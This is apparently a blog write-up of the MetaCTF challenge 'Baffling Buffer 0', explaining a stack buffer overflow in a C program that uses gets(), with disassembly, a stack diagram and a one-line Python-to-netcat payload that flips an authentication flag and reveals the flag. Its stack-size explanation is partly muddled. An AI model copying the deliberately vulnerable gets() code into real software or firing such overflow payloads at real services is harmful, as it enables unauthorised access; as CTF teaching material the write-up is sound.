Baffling Buffer 0

Challenge:

While hunting for vulnerabilities in client infrastructure, you discover a strange service located at host1.metaproblems.com 5150. You’ve uncovered the binary and source code code of the remote service, which looks somewhat unfinished. The code is written in a very exploitable manner. Can you find out how to make the program give you the flag?

Solution:

When running the binary it prompts for an access code and displays an error message when an incorrect code is entered:

$ ./bb0
Enter the access code: 
123
TODO: Implement access code checking.
Invalid auth!

After reviewing the provided source code I see that a “Correct Code” scenario is unachievable since the isAuthenticated variable is never being set to anything but zero in the code. I also notice there is a vulnerability in the vuln() function due to its use of the gets() function to retrieve input from the user:

#include <stdio.h>
#include <stdlib.h>

void vuln() {
    int isAuthenticated = 0;
    char buf[48];
    puts("Enter the access code: ");
--> gets(buf);
    puts("TODO: Implement access code checking.");
    if(isAuthenticated) {
        system("/bin/cat flag.txt");
    }
    else {
        puts("Invalid auth!");
    }
}

int main() {
    setbuf(stdout, 0);
    setbuf(stdin, 0);
    setbuf(stderr, 0);
    vuln();
    return 0;
}

The gets() function is susceptible to buffer overflow and the manual page explicitly states, “Never use gets()”:

BUGS
       Never use gets().  Because it is impossible to tell without knowing the data in advance how many characters gets() will read,
       and because gets() will continue to store characters past the end of the buffer, it is extremely dangerous to  use.   It  has
       been used to break computer security.  Use fgets() instead.

To exploit this I need to pass in a payload that exceeds the allocated buffer for the buf variable, (c char buf[48]) in order to overwrite the value of the isAuthenticated variable to a value other than zero. Taking a look at the program in GDB helps explain how the exploit will work:

   0x0000555555555165 <+0>:	push   rbp
   0x0000555555555166 <+1>:	mov    rbp,rsp
   0x0000555555555169 <+4>:	sub    rsp,0x40                      # 1) Stack space being allocated
   0x000055555555516d <+8>:	mov    DWORD PTR [rbp-0x4],0x0       # 2) isAuthenticated being set
   0x0000555555555174 <+15>:	lea    rdi,[rip+0xe8d]
   0x000055555555517b <+22>:	call   0x555555555030 <puts@plt>
   0x0000555555555180 <+27>:	lea    rax,[rbp-0x40]                # 3) buf variable being loaded for gets() call
   0x0000555555555184 <+31>:	mov    rdi,rax
   0x0000555555555187 <+34>:	mov    eax,0x0
   0x000055555555518c <+39>:	call   0x555555555060 <gets@plt>

I’ve noted three particular instructions with numbered comments:

  1. Space on the stack for the local variables is allocated. In this case 0x40 or 64 bytes
  2. 4 bytes (0x4), the size on an integer, is pushed onto the stack for the isAuthenticated variable.
  3. 60 bytes (0x40 - 0x4) is pushed onto the stack for the buf variable.

Wait, why are 60 bytes allocated instead of the 48 bytes defined in the code? The answer is stack alignment. My (far from an expert) high-level answer is that addresses on the stack need to be divisible by 16. So in this challenge we have 4-bytes added for the integer and then 48 bytes for the buf variable, but 52 (48 + 4) isn’t divisible by 16, so buf is padded to the next size that is cleanly divisible, 64 bytes. I found another good explanation here.

I’ve created a rough diagram to visual the exploit:

   <-- Top of Memory                  Bottom of Memory -->
    (rbp)       (rbp - 0x4)                   (rbp - 0x40)
	+-----------+-----------------+--------------+
	| ret addr  | isAuthenticated |         buf  |
	+--------+----------+---------++--------------
	          <--------- Buffers fill this direction

As positioned on the stack the buf variable will fill from right-to-left in the above diagram. Sixty bytes will fill the allocated space, adding one more will “spill” into the space allocated for isAuthenticated allowing us to overwrite its contents.

To put this into practice I used Python to print the number 1 sixty-ones times and piped it to a netcat session to the challenge server:

$ python3 -c 'print("1" * 61)' |nc host1.metaproblems.com 5150

Enter the access code: 
TODO: Implement access code checking.

MetaCTF{just_a_little_auth_bypass}

Published:

Updated:

Leave a comment